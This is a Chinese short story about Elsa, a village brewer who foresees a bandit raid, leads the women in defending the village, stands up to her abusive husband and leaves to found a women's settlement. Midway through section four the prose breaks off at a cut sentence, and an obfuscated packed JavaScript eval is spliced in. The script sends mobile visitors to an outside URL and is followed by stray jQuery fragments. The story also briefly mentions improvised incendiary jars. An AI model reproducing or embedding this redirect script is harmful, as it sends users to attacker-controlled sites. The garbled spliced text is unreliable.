（一）


    清晨，艾尔莎坐在酒窖潮湿的石地上，正在检查最新一批啤酒桶的接缝处。


    她能感觉到木桶细微的颤动，这是发酵良好的证明，正当她准备取出工具时，一阵沉重的脚步声从台阶上方传来。


    “怎么总是在这里？”


    丈夫的声音从台阶上传来，带着一贯的不耐。


    鞋底重重踩过石阶，惊起几只躲在角落的蜘蛛。


    艾尔莎没有抬头，继续检查着桶箍的松紧。


    “客人明天要派人来取酒，”她平静地说，“这批酒要再过两周才能达到最佳口感。”


    丈夫嗤笑一声，随手抓起挂在墙上的斧头把玩。


    “整天就知道这些酒桶，”他狠狠啐了一口，“地里的活计谁来做？屋顶的茅草都快被风吹光了。”


    艾尔莎终于直起身子，悬在腰间的钥匙串随着她的动作发出清脆的碰撞声，这串钥匙里有酒窖的、谷仓的、账房的……每一把都记录着过去无声的付出。


    她直视着男人充血的眼睛。


    “上个月卖酒的钱，不是被你拿去还赌债了吗？”


    声音很轻，却如同一把利刃般精准挑开彼此心照不宣的疮疤。


    丈夫的脸涨得通红。


    突然，艾尔莎的目光越过他的肩膀，凝固在酒窖的角落。


    “少了一桶。”她喃喃道。


    “什么？”


    “第三排最里面的位置，应该有一桶新酿的蜜酒。”艾尔莎的声音带着不易被察觉的颤意。


    她快步走过去，手指抚过空荡荡的木架，上面还留着搬运时蹭掉的青苔。


    那些斑驳痕迹像极了去年她流产时，衣摆上晕开的血迹。


    丈夫不耐烦地挥挥手：“准是你记错了，女人就是爱疑神疑鬼。”


    他随手把斧头往墙上的钉子一挂，锋利的刃口在昏暗的光线下闪着寒光。


    艾尔莎盯着那柄摇摇欲坠的斧头。


    钉子在潮湿的空气中早已锈蚀，此刻正发出不堪重负的呻吟，她的眼前突然浮现出一连串画面——


    斧头坠落，锋刃会划破她的腹部，鲜血浸透裙摆，像她曾打翻的葡萄酒那样。


    她打了个寒颤。


    “又在发呆？”丈夫的声音将她拉回现实，他粗鲁地拽过她的手腕，“去准备早饭，我饿了。”


    艾尔莎任由他拉着走向台阶，在转身的瞬间，她最后看了一眼那柄斧头。


    不是错觉，钉子发出一声几不可闻的“咔嗒”声。


    就像过去她捂着绞痛的小腹呼喊丈夫时，听到的房门反锁声。


    （二）


    午夜时分的惊醒总是带着某种预兆。


    艾尔莎猛地睁开双眼，发现自己的手正死死攥着被汗水浸湿的床单。


    丈夫在隔壁房间打着鼾，空气中弥漫着麦芽发酵的甜腻气息。


    她轻手轻脚地起身，赤脚踩在冰凉的石板上。


    月光透过窗子洒进储物室，借着细微的光源，艾尔莎取下挂在墙上的草药袋，开始研磨囤积的草药。


    她的动作娴熟而精准，这是从祖母那里学来的手艺。


    突然，远处传来断断续续的犬吠声。


    艾尔莎的手指停顿了一下。


    她放下研钵，轻轻推开窗户，夜风送来隐约的马蹄声，还有金属碰撞的脆响。


    太熟悉了，和她过去“胡思乱想”时预见的一模一样：强盗会从南面的橡树林突袭，先控制水井，再烧毁粮仓。


    于是她飞快地行动起来——


    先是唤醒地窖里熟睡的帮工女孩，让她去通知村里的妇女，然后找出最大的酿酒铜锅，架在村庄中央的火塘上，最后是那些试验失败的烈酒，酒精度太高不适合饮用，但装在陶罐里，塞上浸过油蜡的布条……


    当第一个强盗踹开村口栅栏时，迎接他的是滚烫的沸水。


    女人们像默契的士兵，从屋顶、从谷仓、从面包炉后面发起攻击。


    艾尔莎站在阴影里，看着自己亲手教导的“疯狂”在夜色中开始反抗。


    老太太索菲用自己设计的袖箭射穿了一个强盗的眼睛，面包坊的安娜把烧红的火钳按在强盗的手上，就连总是躲在母亲身后的小温妮，此刻也站在谷仓顶上，将□□投向强盗。


    混乱中，艾尔莎还看见了自己的丈夫——他提着锈迹斑斑的剑，却躲在碾米机后面发抖。


    当最后一个强盗落荒而逃时，是艾尔莎敲响警钟，组织村民清点损失。


    “你早就在准备！”丈夫在众人面前抓住她的胳膊，指甲深深掐进她上臂的旧伤疤，“为什么不告诉我？”


    艾尔莎注视着这个满眼血丝的男人，突然想起他挂在酒窖墙上的那把斧头。


    他的眼神和那柄摇晃的凶器何其相似，充满不可预测的危险，却又虚弱得可笑。


    于是她平静回视，开口道：“我说过酒窖的斧头会掉下来，你说我疯了，我说过村口的树林太安静，你说女人就是爱大惊小怪。”


    她不费多少力气就挣脱了对方的手。


    “现在，你配得到我的警告吗？”


    （三）


    “应该加高围墙，”铁匠粗声粗气地说，“再挖一条护村河。”他布满老茧的手掌在空中比划着，仿佛已经看见自己设计的防御工事。


    “需要钱，”村长愁眉苦脸，“而且至少要干到入冬，”他偷瞄着村民们的反应，声音越来越小，“更何况今年加的税……”


    女人们聚集的角落突然传来衣物摩擦的窸窣声，站在最前面的大婶为艾尔莎让开了路，她的衣摆上还沾着昨夜战斗留下的炭灰。


    “强盗会从后山溪流绕过来。”她的声音不大，却清晰可闻。


    男人们的声音戛然而止，铁匠的胡子气得发抖。


    艾尔莎没有因此后退，她走到空地中央，用树枝在地上画起来，一幅精细的地形图在她手下逐渐显现。


    “溪水在这个季节很浅，河床上的石头可以当踏脚，东边的悬崖看起来陡峭，但其实有一条小路，守林人的女儿们都知道这条小路，她们每个月都从这里去集市卖草药……”


    “够了！”人群中的丈夫突然暴起。


    他撞开挡路的村民，靴底碾碎了刚画好的地形图：“你懂什么防御？昨晚不过是运气好！”


    “运气？”艾尔莎冷笑，“那要不要赌一赌，下次强盗什么时候来？从哪个方向来？”


    她环视四周，目光扫过每一个村民，声音陡然拔高。


    “或者你们更愿意相信一个连斧头都挂不稳的男人的判断？”


    广场上一片寂静，汉斯的脸色由青转红，他大步走向艾尔莎，抓住她的手臂。


    “你疯了吗？在这么多人面前……”


    “疯的是你！”艾尔莎甩开他的手，多年来压抑的怒火让她的声音微微发抖，“你怕的不是强盗，而是我比你有远见！你希望用孩子将我困住，又害怕我的创生能力——你最大的恐惧，是我终于看穿了你这个懦夫的真面目！”


    话到最后，女人怒极反笑，那笑容让她的丈夫不自觉地后退了半步。


    艾尔莎转向围观的村民：“你们知道为什么他总是说我想太多吗？”她指向酒窖方向，“因为去年我发现自己怀孕时，他第一句话是‘希望是个男孩’，第二句话是‘有了孩子能让我放弃那些不切实际的幻想’。”


    人群中传来倒吸冷气的声音，几个女人静默地交换着眼神。


    “他挂歪斧头的那天，我流产了，”不再留意男人们铁青的脸色，艾尔莎继续说道，“但他故意忽视我流的血。”


    语气平静得像在谈论今日的天气。


    “你……你这个疯婆子！”丈夫怒吼道。


    他扬起手，但艾尔莎的动作更快，她解开围裙系带，露出别在腰间的刀——在那些被嘲笑“胡思乱想”的夜晚，她就是用这个工具研究草药特性。


    阳光在锋利的钢刃上流淌，映出她平静得可怕的眼神。


    “试试看，”她紧握着手中的武器，直直对准眼前的人，“我昨天刚用守林人送的磨刀石试过。”


    村庄边缘，负责守林的三个女人不约而同地挺直了腰板，她们腰间别着同样制式的匕首，正闪闪发亮。


    （四）


    夜晚，浑身酒气的丈夫踢开家门，看见正在收拾行装的艾尔莎。


    “你要去哪？”他堵在门口，声音里带着危险的气息。


    “离开。”


    艾尔莎没有抬头，继续整理着她的东西。


    “想都别想！”丈夫的手伸向她的包裹，却被艾尔莎轻松躲过。


    “你是我的妻子！”他喷着酒气怒吼，唾沫星子溅得四处都是，“没有我的允许，你哪儿也去不了！法律、教会、领主——他们都站在我这边！”


    艾尔莎缓缓直起腰，炉火将她的影子投在墙上，竟比实际身形高大许多。


    她从围裙口袋里取出一个拇指大小的玻璃瓶，瓶中液体在火光中泛着诡异的蓝绿色。


    “知道这是什么吗？”她轻声说，“是祖母留给我的配方。”


    软木塞被拨开，一缕若有若无的味道飘散开来。


    “一滴能让公马睡上三天，两滴……”她的目光扫过丈夫青筋暴起的脖子，“足够让一头猪永远安静。”


    男人踉跄着后退，小腿撞到长凳，差点跌倒。


    他的瞳孔在酒精和恐惧的双重作用下剧烈收缩：“你不敢……教会的人说过，谋杀亲夫的灵魂会永堕地狱……”


    “地狱？”艾尔莎轻笑一声，将瓶子放在他们新婚时收到的橡木桌上，“我怕什么？我已经在那里住了七年。”


    丈夫的脸扭曲着，汗水从他的额头滑落，在油腻的胡须上停留片刻，最


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052890|171410||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    终滴在地上。


    突然，他转身冲向门口，却在门槛处被自己的靴子绊了一跤。


    “我要去告发你！”他爬起来指着艾尔莎尖叫，声音却因恐惧而变调，“女巫！你是个该上火刑柱的恶魔！”


    “随便，”艾尔莎从容地塞回瓶塞，将小瓶收回口袋，继续整理行装，“记得提醒法师带够圣水，听说上次他驱魔时尿湿了法袍。”


    当第一缕阳光破开云层时，艾尔莎背着行囊站在村口的树下。


    她身后站着十多个身影——老索菲拄着拐杖，怀里抱着孙女，安娜牵着两个女儿，守林人背着弓箭，农女的手里紧攥着一把锄头……


    最年轻的女孩怯生生地拽了拽艾尔莎的衣角：“我们要去哪儿？”


    她的怀里抱着艾尔莎送她的草药图册，封面上还沾着昨夜战斗的炭灰。


    艾尔莎望向远处的山脊，阳光正将起伏的峰峦染成灿金色。


    ——“当你开始胡思乱想时，魔鬼就害怕了。”


    她忽然想起祖母临终前的话。


    “去一个……”她牵起女孩的手，温柔道，“能让我们的疯狂开花结果的地方。”


    身后，村庄的钟声突然敲响。


    但不是警钟，是丈夫在疯狂地拉扯钟绳，像头被困的野兽。


    钟声惊起群鸟，它们的翅膀掠过女人们头顶，向着朝阳升起的方向飞去。


    （五）


    山间的晨雾还未散尽时，商队领队莉娜已经站在了那座传说中的村落前。


    三十年前那场“女巫大迁徙”的故事，她从小听到大。


    但此刻，眼前的景象却与传说中可怖的女巫巢穴截然不同。


    晨光透过巨大的树冠，在石板路上洒下金色的光斑，每栋树屋的屋檐下都悬挂着色彩斑斓的干花药草，随风轻摆，像无数个小巧的风铃。


    “请跟我来。”一个约莫十岁的小女孩不知何时出现在莉娜身旁，正站在覆满青苔的石板上。


    空气中弥漫着蜂蜜、麦芽和某种她说不上来的香气。


    “这是什么味道？”莉娜好奇问道。


    “是记忆酒呀！”走在前面的女孩突然转身，骄傲地挺起胸膛，“艾尔莎婆婆用月光下采摘的迷迭香，加上我们特制的——”她突然捂住嘴，“哎呀，配方是秘密！”


    转过一道开满花的矮墙，村落中央的圆形广场豁然开朗。


    数十个女子正围着一座巨大的铜制蒸馏器忙碌，器皿在阳光下闪烁着蜂蜜般的光泽。


    站在中央的白发老人身姿挺拔，正用刀柄轻敲铜管，侧耳倾听管内液体流动的声音。


    “艾尔莎女士？”莉娜的声音有些发颤。


    老人没有立即回头，而是继续指导身旁的年轻女子：“听，这个音调说明精华已经充分融合……”


    她的声音比莉娜想象中还要清亮。


    直到步骤完成，艾尔莎才转过身来。


    岁月在她脸上刻下深浅的沟壑，却让那双眼睛更加明亮，像淬过火的钢刃般锐利清澈。


    “听说您是从橡木村……”


    "主动离开的。"艾尔莎笑着接过话，“那里的男人认为女人不该有脑子。”


    广场上的女人们发出默契的笑声。


    莉娜点点头：“那个村子现在可不太好。”


    “我知道，”艾尔莎从蒸馏器接出一杯金色液体，“他们的酒酸得能腐蚀铁钉，田地里的麦穗各个都营养不良。”


    她将木杯递给莉娜。


    “尝尝这个，新配方，加入了能唤醒记忆的草药。”


    液体入喉的瞬间，莉娜的眼前突然闪过画面：酒窖里摇晃的斧头、沸腾的大锅、晨光中离去的背影......


    她惊愕地抬头：“这是？”


    “记忆不会消失，只会转化，”艾尔莎的手指轻抚过蒸馏器上的齿轮，“就像痛苦会过去，新的美酒迟早能酿成。”


    莉娜突然想起什么：“我路过橡木村时遇见过您的丈夫，他……”


    “谁？”艾尔莎的表情真挚极了，仿佛真的在记忆中搜索这个陌生人。


    蒸馏器的铜管反射着阳光，在艾尔莎脸上投下齿轮状的光斑，仿佛时间的年轮正在温柔抚平过往的伤痕。


    年轮衬着她脸上的皱纹，格外美丽。


    莉娜突然明白了，这不是遗忘，而是比复仇更彻底的胜利。


    过去，他们用“善良”绑架女人，用“疯狂”污蔑女人。


    她们早就不需要这些评价了。


    蒸馏器发出的轻响中，艾尔莎转身继续指导学徒。


    铜管反射的光斑在她银白的发间跳跃，那些曾经被称作“疯女人”的记忆里，再也找不到当年酒窖中那个恐惧的影子。


    有的只是时间沉淀的智慧，如同她酿造的酒——初尝清苦，回味绵长，足以让所有痛苦的记忆都开出花来。